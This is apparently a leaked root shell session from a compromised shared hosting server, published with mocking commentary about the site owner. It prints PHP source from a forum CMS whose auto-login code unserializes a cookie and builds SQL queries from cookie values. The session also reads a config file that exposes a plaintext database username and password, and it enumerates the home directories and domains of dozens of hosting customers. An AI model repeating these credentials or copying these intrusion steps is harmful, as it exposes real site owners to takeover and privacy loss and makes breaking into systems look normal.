///////////////////////////////////////////////////////////////////////////// 14993 14994 //--UserTracker.php--------------------------------------------------------// 14995 14996 ///////////////////////////////////////////////////////////////////////////// 14997 if(!defined('NO_DB') && !defined('NO_LOG')){ 14998 14999 if(!isset($_SESSION['user']['userkey'])){ 15000 //cookie check 15001 if(!$_user->is_online){ 15002 if(isset($_COOKIE[$config['db']['ckefix'].'login']) && 15003 !empty($_COOKIE[$config['db']['ckefix'].'login'])){ 15004 $cookie = unserialize($_COOKIE[$config['db']['ckefix'].'login']); 15005 if(isset($cookie[1]) && (int)isset($cookie[0])){ 15006 if($cookie[1] == 15007 $_login->mk_passwd($_SERVER['HTTP_USER_AGENT'], $config['db']['ckeauth'])){ 15008 if($config['login']['autologinIpRestriction']) $aq 15009 = " AND user_ip = '".getIP()."'"; 15010 $query = $_sql->getTable("SELECT uid FROM 15011 ".$config['db']['shrfix']."userkeys WHERE uid = '".$cookie[0]."' AND user_agent 15012 = '".$cookie[1]."'".(isset($aq) ? $aq : '')." LIMIT 1;"); 15013 if (count($query) == 1){ 15014 $user = $_sql->getTable("SELECT timestamp 15015 FROM ".$config['db']['shrfix']."users WHERE id = '".$cookie[0]."' LIMIT 1"); 15016 if($user!==NULL){ 15017 $user = $user[0]; 15018 15019 $_sess->set_sessions($cookie[0]); 15020 15021 $_SESSION['user']['last_visit'] 15022 = $user['timestamp']; 15023 $_user->new_user($cookie[0], 'alogin'); 15024 15025 15026 if($_user->get_new_threads($_SESSION['user']['last_visit'])) 15027 setNotification('We have just updated your 15028 forum icons to reflect new posts.', 'Forum Icons Updated', false, 15029 $_SESSION['user']['id']); 15030 $config['global']['user']['id'] = 15031 $_SESSION['user']['id']; 15032 } 15033 }else{//if count query == 1 15034 setcookie($config['db']['ckefix']."login", 15035 null, time() - 31536000); //set cookie to remember me 15036 15037 unset($_COOKIE[$config['db']['ckefix']."login"]); 15038 } 15039 }else{ //if cookie == http user agent 15040 setcookie($config['db']['ckefix']."login", 15041 null, time() - 31536000); //set cookie to remember me 15042 15043 unset($_COOKIE[$config['db']['ckefix']."login"]); 15044 } 15045 }else{//if cookie info == valid 15046 setcookie($config['db']['ckefix']."login", null, time() 15047 - 31536000); //set cookie to remember me 15048 unset($_COOKIE[$config['db']['ckefix']."login"]); 15049 } 15050 redirect($_SERVER["PHP_SELF"]); 15051 15052 } 15053 } 15054 $_user->new_user($config['global']['user']['id']); 15055 }else{ 15056 $return = $_user->update_location(); 15057 if($return == 0){ 15058 $_user->new_user($config['global']['user']['id']); 15059 } 15060 } 15061 15062 } 15063 15064 ///////////////////////////////////////////////////////////////////////////// 15065 15066 //--UserTracker.php--------------------------------------------------------// 15067 15068 ///////////////////////////////////////////////////////////////////////////// 15069 15070 /** 15071 * Thanks to Jesus for this baby, this will add the level of sanitation 15072 required for the diffrent data types 15073 */ 15074 function secureit($string, $type=''){ 15075 switch($type){ 15076 case 'post': 15077 $string = mysql_real_escape_string($string); 15078 break; 15079 default: 15080 $string = mysql_real_escape_string($string); 15081 $string = htmlentities($string); 15082 $string = stripslashes($string); 15083 $string = strip_tags($string); 15084 break; 15085 } 15086 return $string; 15087 } 15088 if (isset($_GET['code']) && 15089 $_user->check_permissions($config['global']['user']['id'], DEV)) { 15090 $explode = explode('/', $_SERVER['PHP_SELF']); 15091 die(highlight_file($explode[count($explode)-1], 1)); 15092 } 15093 ?>root@server2:/home/romeo/domains/darkmindz.com/public_html/core[root@server2 15094 core]# less Gre.php 15095 <?php 15096 /*======================================================================*\ 15097 | Cybershade CMS - Your CMS, Your Way. | 15098 \*======================================================================*/ 15099 if(!defined('INDEX_CHECK')){die("INDEX_CHECK not defined.");} 15100 15101 error_reporting ($_SERVER['HTTP_HOST']=='localhost' ?(E_ALL) : (0)); 15102 define('SMODE', ($_SERVER['HTTP_HOST']=='localhost' ? 0 : 1)); 15103 //this is to start the generation timer off 15104 $gen_time = microtime(); 15105 15106 //Include the session stuff 15107 if(!SMODE) require($cms_root."core/classes/class.session.php"); 15108 if(SMODE) require($cms_root."core/classes/classes.php"); 15109 $_sess = new session; 15110 15111 //Set the headers 15112 header("Cache-control: private"); 15113 header("Content-Type: text/html; charset=utf-8"); 15114 //ob_start("ob_gzhandler"); 15115 15116 ///////////////////////////////////////////////////////////////////////////// 15117 //--Include the core CMS files needed -------------------------------------// 15118 core.php 15119 ///////////////////////////////////////////////////////////////////////////// 15120 : 15121 ://The config files 15122 :require($cms_root."core/config.php"); 15123 : 15124 :/*this is the ultimate cache-er xD, k so basically u got 15125 : * the var below which "allows" the static cacher through 15126 : */ 15127 : 15128 :#$allow = true; 15129 : 15130 ://this little switch decided what should be auto cache'd 15131 :/*switch(CMS_MENU){ 15132 : case 'forum': $allow = false; break; 15133 : case 'admin': $allow = false; break; 15134 : case 'ucp': $allow = false; break; 15135 : case 'login': $allow = false; break; 15136 : case 'main': $allow = false; break; 15137 : case 'pm': $allow = false; break; 15138 : default: $allow = true; break; 15139 :} 15140 : 15141 :if($allow){ 15142 : // Get the modification date of this PHP file 15143 : $timestamps = array(@getlastmod()); 15144 : 15145 : // The latest of these modification dates is our real Last-Modified date 15146 : $timestamp = max($timestamps); 15147 : 15148 : // Note that this is not a RFC 822 date (the tz is always GMT) 15149 : $tsstring = gmdate("D, d M Y H:i:s ", $timestamp) . "GMT"; 15150 : 15151 : // Check if the client has the same page cached 15152 : if (isset($_SERVER["HTTP_IF_MODIFIED_SINCE"]) && 15153 : ($_SERVER["HTTP_IF_MODIFIED_SINCE"] == $tsstring)) { 15154 : header("HTTP/1.1 304 Not Modified"); 15155 : exit(); 15156 : } 15157 : // Inform the user what is our last modification date 15158 : else { 15159 : header("Last-Modified: " . $tsstring); 15160 : } 15161 :}*/ 15162 : 15163 ://The class files 15164 :require($cms_root."core/classes/class.sql.php"); 15165 :if(!SMODE)require($cms_root."core/classes/class.login.php"); 15166 :if(!SMODE)require($cms_root."core/classes/class.user.php"); 15167 :if(!SMODE)require($cms_root."core/classes/class.form.php"); 15168 :if(!SMODE)require($cms_root."core/classes/class.time.php"); 15169 :require($cms_root."core/classes/class.nbbc.php"); 15170 :require($cms_root."core/classes/class.tpl.php"); 15171 :if(!SMODE)require($cms_root."core/classes/class.cache.php"); 15172 :require($cms_root."core/classes/class.geshi.php"); 15173 : 15174 ://The base functions 15175 :require($cms_root."core/base_functions.php"); 15176 : 15177 :///////////////////////////////////////////////////////////////////////////// 15178 ://--Sort out the cached config stuff---------------------------------------// 15179 :///////////////////////////////////////////////////////////////////////////// 15180 :$config_db = array(); 15181 ://check see if the config file exists, if not then just create a blank config 15182 va 15183 :riable 15184 :if(file_exists($cms_root."cache/cache_config.php")){ include 15185 $cms_root."cache/ca 15186 :che_config.php"; } 15187 : 15188 ://If the config_db is not null, cached.. then use it. 15189 :if($config_db !== NULL){ 15190 : foreach($config_db as $array){ 15191 : $config[$array['array']][$array['var']] = $array['value']; 15192 : } 15193 : unset($array); 15194 :} 15195 : 15196 :if(isset($_GET['_site'])){ 15197 : $a=(isset($_GET['_site']) ? $_GET['_site'] : 15198 (isset($_SESSION['site']['mode' 15199 :]) ? $_SESSION['site']['mode'] : $config['db']['prefix'])); 15200 : switch($a){ 15201 : case 'dmz': 15202 : $_SESSION['site']['mode'] = 'dmz_'; 15203 : break; 15204 : case 'cs': 15205 : $_SESSION['site']['mode'] = 'cs_'; 15206 : break; 15207 : default: 15208 : } 15209 :} 15210 :if(isset($_SESSION['site']['mode'])) 15211 : $config['db']['prefix'] = $_SESSION['site']['mode']; 15212 : 15213 :///////////////////////////////////////////////////////////////////////////// 15214 ://--Define new instances of required classes-------------------------------// 15215 :///////////////////////////////////////////////////////////////////////////// 15216 ://start the sql 15217 :$_sql = new sql(true); 15218 :$_sql->config = $config; 15219 :if(!defined('CMS_DEBUG')){ define('CMS_DEBUG', $config['cms']['debug']); } 15220 :if(!$_sql->connect(CMS_DEBUG)){ define('NO_DB', 1); } 15221 : 15222 : 15223 ://Open the session stuff 15224 :$_sess->sql = $_sql; 15225 :$_sess->config = $config; 15226 : 15227 ://start the form class 15228 :$_form = new form; 15229 : 15230 ://start the user class 15231 :$_user = new user; 15232 :$_user->config = $config; 15233 :$_user->sql = $_sql; 15234 root@server2:/home/romeo/domains[root@server2 domains]# cd cybershade.org/ 15235 15236 # RoMeO's butt buddy xlink aka mad php c0d3r 15237 root@server2:/home/romeo/domains/cybershade.org[root@server2 cybershade.org]# 15238 ls -al 15239 drwxr-xr-x 2 romeo romeo 4096 Dec 23 14:31 .htpasswd 15240 drwxr-xr-x 2 root root 4096 May 23 00:10 logs 15241 drwx--x--x 3 romeo romeo 4096 Dec 23 14:31 public_ftp 15242 drwxr-xr-x 13 romeo romeo 4096 May 19 22:42 public_html 15243 drwxr-xr-x 2 root root 4096 May 1 00:10 stats 15244 root@server2:/home/romeo/domains/cybershade.org[root@server2 cybershade.org]# 15245 cd public_html/ 15246 root@server2:/home/romeo/domains/cybershade.org/public_html[root@server2 15247 public_html]# ls -al 15248 total 1188 15249 drwxr-xr-x 13 romeo romeo 4096 May 19 22:42 . 15250 drwx--x--x 7 romeo romeo 4096 Feb 10 19:26 .. 15251 -rwxr-xr-x 1 romeo romeo 515 Feb 10 19:31 400.shtml 15252 -rwxr-xr-x 1 romeo romeo 515 Feb 10 19:31 401.shtml 15253 -rwxr-xr-x 1 romeo romeo 515 Feb 10 19:31 403.shtml 15254 -rwxr-xr-x 1 romeo romeo 515 Feb 10 19:31 404.shtml 15255 -rwxr-xr-x 1 romeo romeo 515 Feb 10 19:31 500.shtml 15256 -rw-r--r-- 1 romeo romeo 5254 Feb 16 08:01 acp.php 15257 -rw-r--r-- 1 romeo romeo 9757 Feb 16 08:01 ajax.php 15258 -rw-r--r-- 1 romeo romeo 2118 Feb 16 08:01 articles.php 15259 drwxrwxrwx 5 romeo romeo 4096 Feb 10 19:31 cache 15260 drwxr-xr-x 2 romeo romeo 4096 Feb 10 19:31 cgi-bin 15261 -rw-r--r-- 1 romeo romeo 5561 Feb 16 08:01 challenges.php 15262 -rw-r--r-- 1 romeo romeo 466963 Mar 1 14:51 cms_docs.zip 15263 -rw-r--r-- 1 romeo romeo 2137 Feb 10 19:31 codebase.php 15264 -rw-r--r-- 1 romeo romeo 17251 Feb 10 19:31 convertor.php 15265 drwxr-xr-x 6 romeo romeo 4096 Feb 10 19:31 core 15266 -rw-r--r-- 1 romeo romeo 0 Feb 10 19:31 debug 15267 -rw-r--r-- 1 romeo romeo 3266 Feb 10 19:31 eg.gif 15268 -rw-r--r-- 1 romeo romeo 28213 Mar 20 12:59 farm.php 15269 -rw-r--r-- 1 romeo romeo 5020 Feb 16 08:01 forgotpass.php 15270 -rw-r--r-- 1 romeo romeo 7097 Feb 19 14:12 forum.php 15271 -rw-r--r-- 1 romeo romeo 2110 Feb 16 08:01 get_shouts.php 15272 -rw-r--r-- 1 romeo romeo 4546 Feb 19 14:12 .htaccess 15273 -rw-r--r-- 1 romeo romeo 36 Feb 10 19:31 .htpasswd 15274 drwxr-xr-x 4 romeo romeo 4096 Feb 10 19:31 images 15275 drwxr-xr-x 2 romeo romeo 4096 Feb 10 19:31 img 15276 -rw-r--r-- 1 romeo romeo 3998 Feb 16 08:01 index.php 15277 -rw-r--r-- 1 romeo romeo 843 Feb 16 08:01 irc.php 15278 drwxr-xr-x 3 romeo romeo 4096 Feb 10 19:31 language 15279 -rw-r--r-- 1 romeo romeo 4103 Feb 19 14:12 latest_posts.php 15280 -rwxr-xr-x 1 romeo romeo 7184 Feb 16 08:01 loader.php 15281 -rw-r--r-- 1 romeo romeo 8398 Feb 16 08:01 login.php 15282 -rwxr-xr-x 1 romeo romeo 13954 Feb 10 19:31 logo.jpg 15283 -rw-r--r-- 1 romeo romeo 3006 Feb 16 08:01 merge.php 15284 drwxr-xr-x 20 romeo romeo 4096 Feb 17 09:01 modules 15285 -rw-r--r-- 1 romeo romeo 10964 Feb 16 08:01 pastebin.php 15286 -rw-r--r-- 1 romeo romeo 35466 Feb 19 14:39 post.php 15287 -rw-r--r-- 1 romeo romeo 2142 Feb 16 08:01 privatemessages.php 15288 -rw-r--r-- 1 romeo romeo 9755 Feb 21 09:08 register.php 15289 -rw-r--r-- 1 romeo romeo 7986 Feb 16 08:01 rss.php 15290 drwxr-xr-x 2 romeo romeo 4096 Feb 10 19:31 scripts 15291 -rw-r--r-- 1 romeo romeo 1065 Feb 16 08:01 search.php 15292 -rw-r--r-- 1 romeo romeo 1838 Feb 16 08:01 settings.php 15293 drwxr-xr-x 8 romeo romeo 4096 Mar 19 10:13 skin 15294 -rw-r--r-- 1 romeo romeo 196608 Mar 19 10:20 skin.tgz 15295 -rw-r--r-- 1 romeo romeo 636 Feb 16 08:01 staff.php 15296 -rw-r--r-- 1 romeo romeo 133049 May 23 04:00 stress_test.txt 15297 -rw-r--r-- 1 romeo romeo 994 Feb 10 19:31 swiigle_upload.php 15298 drwxr-xr-x 5 romeo romeo 4096 Feb 16 19:13 template 15299 -rw-r--r-- 1 romeo romeo 454 Feb 10 19:31 template.php 15300 -rw-r--r-- 1 romeo romeo 590 Feb 10 19:31 test.php 15301 drwxr-xr-x 2 romeo romeo 4096 Feb 10 19:31 txt docs 15302 -rw-r--r-- 1 romeo romeo 2708 Feb 16 08:01 ucp.php 15303 -rw-r--r-- 1 romeo romeo 8546 Feb 19 14:12 view_group.php 15304 -rw-r--r-- 1 romeo romeo 876 Feb 16 08:01 view_profile.php 15305 -rw-r--r-- 1 romeo romeo 12838 Feb 19 14:12 view_topic.php 15306 -rw-r--r-- 1 romeo romeo 9571 Feb 16 08:01 windowed_options.php 15307 root@server2:/home/romeo/domains/cybershade.org/public_html[root@server2 15308 public_html]# cd core 15309 root@server2:/home/romeo/domains/cybershade.org/public_html/core[root@server2 15310 core]# ls -al 15311 total 164 15312 drwxr-xr-x 6 romeo romeo 4096 Feb 10 19:31 . 15313 drwxr-xr-x 13 romeo romeo 4096 May 19 22:42 .. 15314 -rw-r--r-- 1 romeo romeo 731 Feb 10 19:31 admin.js 15315 -rw-r--r-- 1 romeo romeo 27175 Feb 16 19:00 base_functions.php 15316 -rw-r--r-- 1 romeo romeo 9266 Feb 16 19:00 bbcode_tags.php 15317 -rw-r--r-- 1 romeo romeo 2816 Feb 10 19:31 cacher.php 15318 drwxr-xr-x 4 romeo romeo 4096 Feb 10 19:31 classes 15319 -rw-r--r-- 1 romeo romeo 1376 Feb 16 19:00 cli.php 15320 -rw-r--r-- 1 romeo romeo 2847 Feb 10 19:33 config.php 15321 -rw-r--r-- 1 romeo romeo 23727 Feb 17 09:53 core.php 15322 -rw-r--r-- 1 romeo romeo 4518 Feb 10 19:31 cron.php 15323 drwxr-xr-x 2 romeo romeo 4096 Feb 10 19:31 err 15324 -rw-r--r-- 1 romeo romeo 236 Feb 16 19:00 force_user.php 15325 drwxr-xr-x 2 romeo romeo 4096 Feb 10 19:31 functions 15326 -rw-r--r-- 1 romeo romeo 1181 Feb 16 19:00 key.php 15327 -rw-r--r-- 1 romeo romeo 6903 Feb 16 19:00 mailer.php 15328 drwxr-xr-x 6 romeo romeo 4096 Feb 10 19:31 mint 15329 -rw-r--r-- 1 romeo romeo 3054 Feb 16 19:00 page_footer.php 15330 -rw-r--r-- 1 romeo romeo 6429 Feb 16 19:00 page_header.php 15331 -rw-r--r-- 1 romeo romeo 9762 Feb 16 19:00 recaptchalib.php 15332 -rw-r--r-- 1 romeo romeo 6601 Apr 5 12:58 security.php 15333 -rw-r--r-- 1 romeo romeo 2760 Feb 16 19:00 usertracker.php 15334 root@server2:/home/romeo/domains/cybershade.org/public_html/core[root@server2 15335 core]# less config.php 15336 <?php 15337 //Cybershade.Org 15338 15339 //Database Stuff 15340 $config['db']['host'] = 'localhost'; 15341 $config['db']['username'] = 'romeo_romeo'; 15342 $config['db']['password'] = 'swU55ath'; 15343 $config['db']['database'] = 'romeo_DMZ_CS'; 15344 $config['db']['prefix'] = 'cs_'; 15345 $config['db']['shrfix'] = 'shr_'; //the prefix 15346 f 15347 or the shared tables 15348 $config['db']['ckefix'] = 'CMS_'; //the cookie prefix 15349 $config['db']['ckeauth'] = '0.7.0'; //the cookie auth key //this 15350 15351 is also a good way to invalidate the autologins on cms update 15352 $config['site']['working_dir'] = ''; 15353 15354 //config vars for if we loose the DB 15355 $config['cms']['name'] = 'DarkMindZ'; 15356 $config['cms']['version'] = '_DDoS'; 15357 $config['cms']['debug'] = "0"; 15358 $config['site']['title'] = 'CyberShade CMS'; 15359 $config['site']['theme'] = 'cs'; 15360 $config['site']['language'] = 'en'; 15361 root@server2:/home/romeo/domains/cybershade.org/public_html[root@server2 15362 public_html]# less stress_test.txt 15363 /codebase/perl-2.html - 74.6.17.162 - Queries: 26 - SQLTime: 68.93934 - 15364 PAGETime 15365 r: -0.83011 | 15366 /register.php - 89.149.254.135 - Queries: 5 - SQLTime: 10.82445 - PAGETimer: 15367 0.2 15368 6816 | 15369 /login.php - 89.149.254.135 - Queries: 6 - SQLTime: 11.93658 - PAGETimer: 15370 0.1065 15371 6 | 15372 /login.php - 89.149.254.135 - Queries: 6 - SQLTime: 11.43613 - PAGETimer: 15373 0.0528 15374 6 | 15375 /index.php - 89.149.254.135 - Queries: 8 - SQLTime: 30.80612 - PAGETimer: 15376 0.0420 15377 1 | 15378 /login.php - 89.149.254.135 - Queries: 6 - SQLTime: 12.93695 - PAGETimer: 15379 0.0522 15380 9 | 15381 /index.php - 89.149.254.135 - Queries: 8 - SQLTime: 14.52338 - PAGETimer: 15382 0.0435 15383 5 | 15384 /login.php - 89.149.254.135 - Queries: 6 - SQLTime: 14.55832 - PAGETimer: 15385 0.0514 15386 6 | 15387 /forum/post.php?mode=lock_thread&id=5559 - 74.6.17.162 - Queries: 10 - SQLTime: 15388 15389 30.93873 - PAGETimer: 0.2404 | 15390 /forum/thread5853.html - 66.249.70.100 - Queries: 18 - SQLTime: 41.73033 - 15391 PAGET 15392 imer: 0.09753 | 15393 /codebase/mailform-asp-num147.html - 65.55.211.89 - Queries: 9 - SQLTime: 15394 13.306 15395 77 - PAGETimer: 0.11182 | 15396 / - 216.80.92.36 - Queries: 8 - SQLTime: 21.05451 - PAGETimer: 0.05534 | 15397 root@server2:~[root@server2 ~]# cd /home 15398 root@server2:/home[root@server2 home]# ls -la 15399 total 152 15400 drwx--x--x 36 root root 4096 May 23 02:33 . 15401 drwx--x--x 25 root root 4096 May 22 09:26 .. 15402 drwx--x--x 8 aaa aaa 4096 Jan 24 22:06 aaa 15403 drwx--x--x 6 admin admin 4096 Jan 12 14:29 admin 15404 drwx--x--x 8 beyond beyond 4096 Jan 24 22:33 beyond 15405 drwx--x--x 4 bloo bloo 4096 May 23 02:04 bloo 15406 drwx--x--x 7 bootroot bootroot 4096 May 12 21:27 bootroot 15407 drwx------ 2 clamav clamav 4096 Apr 1 22:35 clamav 15408 drwx--x--x 6 dablitz dablitz 4096 May 21 23:50 dablitz 15409 drwx--x--x 6 dakilla dakilla 4096 May 20 23:41 dakilla 15410 drwxr-xr-x 2 root root 4096 Dec 3 2007 ftp 15411 drwx--x--x 8 furiogamin furiogamin 4096 May 21 02:55 furiogamin 15412 drwx--x--x 7 h3mod h3mod 4096 Feb 26 17:31 h3mod 15413 drwx--x--x 5 haiobr haiobr 4096 May 19 06:43 haiobr 15414 drwx--x--x 4 hbxmike hbxmike 4096 May 11 17:19 hbxmike 15415 drwx--x--x 8 hotglow hotglow 4096 Jan 24 22:35 hotglow 15416 drwx--x--x 8 hrdev hrdev 4096 May 13 18:43 hrdev 15417 drwx--x--x 7 hstrike hstrike 4096 Feb 17 15:56 hstrike 15418 drwx--x--x 6 kaza kaza 4096 Apr 27 20:47 kaza 15419 drwx--x--x 6 keytraderz keytraderz 4096 Apr 15 15:37 keytraderz 15420 drwx--x--x 6 mrgod mrgod 4096 May 15 14:32 mrgod 15421 drwx--x--x 5 odin odin 4096 May 8 05:01 odin 15422 drwx--x--x 5 pagewiz pagewiz 4096 May 18 18:49 pagewiz 15423 drwx--x--x 6 penguin penguin 4096 Mar 8 18:49 penguin 15424 drwx--x--x 6 pimpinjg pimpinjg 4096 Mar 26 16:13 pimpinjg 15425 drwx--x--x 5 ristop ristop 4096 May 22 15:33 ristop 15426 drwx--x--x 6 romeo romeo 4096 Apr 22 15:51 romeo 15427 drwx--x--x 4 sam sam 4096 May 12 09:26 sam 15428 drwx--x--x 7 scraft758 scraft758 4096 Apr 16 20:03 scraft758 15429 drwx------ 2 546 547 4096 May 23 02:33 test 15430 drwxrwxrwt 2 root root 4096 May 23 03:36 tmp 15431 drwx--x--x 6 wheelglow wheelglow 4096 Jan 24 22:49 wheelglow 15432 drwx--x--x 5 wtfsmilez wtfsmilez 4096 May 2 13:11 wtfsmilez 15433 drwx--x--x 8 xckx xckx 4096 Feb 22 02:44 xckx 15434 drwx--x--x 5 yourkicks yourkicks 4096 Jan 28 21:21 yourkicks 15435 drwx--x--x 5 zer0 zer0 4096 May 23 01:28 zer0 15436 root@server2:/home/zer0/domains[root@server2 domains]# ls -la /home/*/domains/ 15437 /home/aaa/domains/: 15438 total 12 15439 drwx--x--x 3 aaa aaa 4096 Sep 14 2007 . 15440 drwx--x--x 8 aaa aaa 4096 Jan 24 22:06 .. 15441 drwx--x--x 8 aaa aaa 4096 Sep 14 2007 aaasoda.com 15442 15443 /home/admin/domains/: 15444 total 20 15445 drwx--x--x 5 admin admin 4096 Jan 12 14:29 . 15446 drwx--x--x 6 admin admin 4096 Jan 12 14:29 .. 15447 drwxr-xr-x 2 admin admin 4096 Jan 12 14:29 default 15448 drwxr-xr-x 2 admin admin 4096 Jan 12 14:29 sharedip 15449 drwxr-xr-x 2 admin admin 4096 Jan 12 14:29 suspended 15450 15451 /home/beyond/domains/: 15452 total 12 15453 drwx--x--x 3 beyond beyond 4096 Sep 12 2007 . 15454 drwx--x--x 8 beyond beyond 4096 Jan 24 22:33 .. 15455 drwx--x--x 8 beyond beyond 4096 Feb 6 2008 beyond-comparison.com 15456 15457 /home/bloo/domains/: 15458 total 12 15459 drwx--x--x 3 bloo bloo 4096 May 23 02:04 . 15460 drwx--x--x 4 bloo bloo 4096 May 23 02:04 .. 15461 drwx--x--x 6 bloo bloo 4096 May 23 02:04 bloohacks.com 15462 15463 /home/bootroot/domains/: 15464 total 20 15465 drwx--x--x 5 bootroot bootroot 4096 May 12 21:27 . 15466 drwx--x--x 7 bootroot bootroot 4096 May 12 21:27 .. 15467 drwx--x--x 8 bootroot bootroot 4096 May 9 18:57 bootforfun.com 15468 drwx--x--x 7 bootroot bootroot 4096 Mar 2 00:11 bootforfun.net 15469 drwx--x--x 7 bootroot bootroot 4096 May 13 00:10 bootforfun.org 15470 15471 /home/dablitz/domains/: 15472 total 16 15473 drwx--x--x 4 dablitz dablitz 4096 Jan 3 23:34 . 15474 drwx--x--x 6 dablitz dablitz 4096 May 21 23:50 .. 15475 drwx--x--x 8 dablitz dablitz 4096 Jan 17 10:32 blitzcraze.com 15476 drwx--x--x 8 dablitz dablitz 4096 Jan 24 07:14 blitzdownloads.com 15477 /home/dakilla/domains/: 15478 total 12 15479 drwxr-xr-x 3 dakilla dakilla 4096 May 16 07:49 . 15480 drwx--x--x 6 dakilla dakilla 4096 May 20 23:41 .. 15481 drwxr-xr-x 8 dakilla dakilla 4096 Feb 15 00:11 scionbot.com 15482 15483 /home/furiogamin/domains/: 15484 total 20 15485 drwx--x--x 5 furiogamin furiogamin 4096 Feb 19 06:57 . 15486 drwx--x--x 8 furiogamin furiogamin 4096 May 21 02:55 .. 15487 drwx--x--x 8 furiogamin furiogamin 4096 Feb 18 11:04 furiogaming.com 15488 drwx--x--x 7 furiogamin furiogamin 4096 Dec 27 21:11 furiogaming.net 15489 drwx--x--x 5 furiogamin furiogamin 4096 Apr 10 13:14 softmodding.net 15490 15491 /home/h3mod/domains/: 15492 total 12 15493 drwx--x--x 3 h3mod h3mod 4096 Jan 18 2008 . 15494 drwx--x--x 7 h3mod h3mod 4096 Feb 26 17:31 .. 15495 drwx--x--x 8 h3mod h3mod 4096 Oct 2 2008 h3mod.com 15496 15497 /home/haiobr/domains/: 15498 total 12 15499 drwxr-xr-x 3 haiobr haiobr 4096 May 1 14:26 . 15500 drwx--x--x 5 haiobr haiobr 4096 May 19 06:43 .. 15501 drwxr-xr-x 9 haiobr haiobr 4096 May 1 14:26 super-syn.net 15502 15503 /home/hbxmike/domains/: 15504 total 16 15505 drwx--x--x 4 hbxmike hbxmike 4096 May 11 17:19 . 15506 drwx--x--x 4 hbxmike hbxmike 4096 May 11 17:19 .. 15507 drwx--x--x 7 hbxmike hbxmike 4096 May 12 00:11 hackordie.net 15508 drwx--x--x 8 hbxmike hbxmike 4096 Apr 29 00:10 wesellstuff.biz 15509 15510 /home/hotglow/domains/: 15511 total 12 15512 drwxr-xr-x 3 hotglow hotglow 4096 Sep 3 2007 . 15513 drwx--x--x 8 hotglow hotglow 4096 Jan 24 22:35 .. 15514 drwxr-xr-x 8 hotglow hotglow 4096 Sep 3 2007 hotglowneon.com 15515 15516 /home/hrdev/domains/: 15517 total 12 15518 drwxr-xr-x 3 hrdev hrdev 4096 Dec 2 19:31 . 15519 drwx--x--x 8 hrdev hrdev 4096 May 13 18:43 .. 15520 drwxr-xr-x 8 hrdev hrdev 4096 Dec 10 2007 hr-development.net 15521 15522 /home/hstrike/domains/: 15523 total 12 15524 drwx--x--x 3 hstrike hstrike 4096 Apr 24 2008 . 15525 drwx--x--x 7 hstrike hstrike 4096 Feb 17 15:56 .. 15526 drwx--x--x 8 hstrike hstrike 4096 Oct 31 2008 halostrike.com 15527 15528 /home/kaza/domains/: 15529 total 28 15530 drwx--x--x 7 kaza kaza 4096 Apr 25 15:46 . 15531 drwx--x--x 6 kaza kaza 4096 Apr 27 20:47 .. 15532 drwx--x--x 7 kaza kaza 4096 Jan 6 21:14 crypticgamers.com 15533 drwx--x--x 7 kaza kaza 4096 Jan 5 21:13 crypticgamers.net 15534 drwx--x--x 7 kaza kaza 4096 Jan 15 21:12 godlymods.com 15535 drwx--x--x 7 kaza kaza 4096 May 4 08:50 kindclan.co.cc 15536 drwx--x--x 7 kaza kaza 4096 Feb 4 00:10 mortonnetworks.com 15537 15538 /home/keytraderz/domains/: 15539 total 20 15540 drwx--x--x 5 keytraderz keytraderz 4096 Jan 18 21:18 . 15541 drwx--x--x 6 keytraderz keytraderz 4096 Apr 15 15:37 .. 15542 drwx--x--x 8 keytraderz keytraderz 4096 Jan 5 21:20 1nesolution.com 15543 drwx--x--x 8 keytraderz keytraderz 4096 Jan 13 21:16 gotmovies.net 15544 drwx--x--x 8 keytraderz keytraderz 4096 Jan 2 21:15 keytraderz.com 15545 15546 /home/mrgod/domains/: 15547 total 12 15548 drwx--x--x 3 mrgod mrgod 4096 May 14 19:46 . 15549 drwx--x--x 6 mrgod mrgod 4096 May 15 14:32 .. 15550 drwx--x--x 7 mrgod mrgod 4096 May 15 00:11 international-gaming.net 15551 15552 /home/odin/domains/: 15553 total 12 15554 drwx--x--x 3 odin odin 4096 May 2 04:09 . 15555 drwx--x--x 5 odin odin 4096 May 8 05:01 .. 15556 drwx--x--x 7 odin odin 4096 May 15 08:14 evilzone.ws 15557 15558 /home/pagewiz/domains/: 15559 total 12 15560 drwx--x--x 3 pagewiz pagewiz 4096 May 18 18:08 . 15561 drwx--x--x 5 pagewiz pagewiz 4096 May 18 18:49 .. 15562 drwx--x--x 8 pagewiz pagewiz 4096 May 19 00:10 pagewizzstudio.com 15563 15564 /home/penguin/domains/: 15565 total 12 15566 drwx--x--x 3 penguin penguin 4096 Dec 20 11:24 . 15567 drwx--x--x 6 penguin penguin 4096 Mar 8 18:49 .. 15568 drwx--x--x 7 penguin penguin 4096 Dec 20 21:12 phylumstudios.com 15569 15570 /home/pimpinjg/domains/: 15571 total 16 15572 drwx--x--x 4 pimpinjg pimpinjg 4096 Mar 26 16:13 . 15573 drwx--x--x 6 pimpinjg pimpinjg 4096 Mar 26 16:13 .. 15574 drwx--x--x 7 pimpinjg pimpinjg 4096 Mar 26 16:13 h4ckinab0x.com 15575 drwx--x--x 7 pimpinjg pimpinjg 4096 Mar 27 00:11 teamhbx.com 15576 15577 /home/ristop/domains/: 15578 total 12 15579 drwx--x--x 3 ristop ristop 4096 May 22 13:33 . 15580 drwx--x--x 5 ristop ristop 4096 May 22 15:33 .. 15581 drwx--x--x 8 ristop ristop 4096 May 23 00:10 centosservers.com 15582 15583 /home/romeo/domains/: 15584 total 16 15585 drwx--x--x 4 romeo romeo 4096 Dec 23 14:31 . 15586 drwx--x--x 6 romeo romeo 4096 Apr 22 15:51 .. 15587 drwx--x--x 7 romeo romeo 4096 Feb 10 19:26 cybershade.org 15588 drwx--x--x 7 romeo romeo 4096 Apr 22 15:53 darkmindz.com 15589 15590 /home/sam/domains/: 15591 total 12 15592 drwx--x--x 3 sam sam 4096 May 12 09:00 . 15593 drwx--x--x 4 sam sam 4096 May 12 09:26 .. 15594 drwx--x--x 8 sam sam 4096 May 13 00:11 metus-project.com 15595 15596 /home/scraft758/domains/: 15597 total 24 15598 drwx--x--x 6 scraft758 scraft758 4096 Apr 16 20:03 . 15599 drwx--x--x 7 scraft758 scraft758 4096 Apr 16 20:03 .. 15600 drwx--x--x 7 scraft758 scraft758 4096 Jan 27 21:12 mods4hire.com 15601 drwx--x--x 7 scraft758 scraft758 4096 Mar 25 2008 samcraft.com 15602 drwx--x--x 7 scraft758 scraft758 4096 Mar 25 2008 samcraft.net 15603 drwx--x--x 7 scraft758 scraft758 4096 Oct 28 2008 theconsolejunkies.com 15604 15605 /home/wheelglow/domains/: 15606 total 12 15607 drwx--x--x 3 wheelglow wheelglow 4096 Sep 12 2007 . 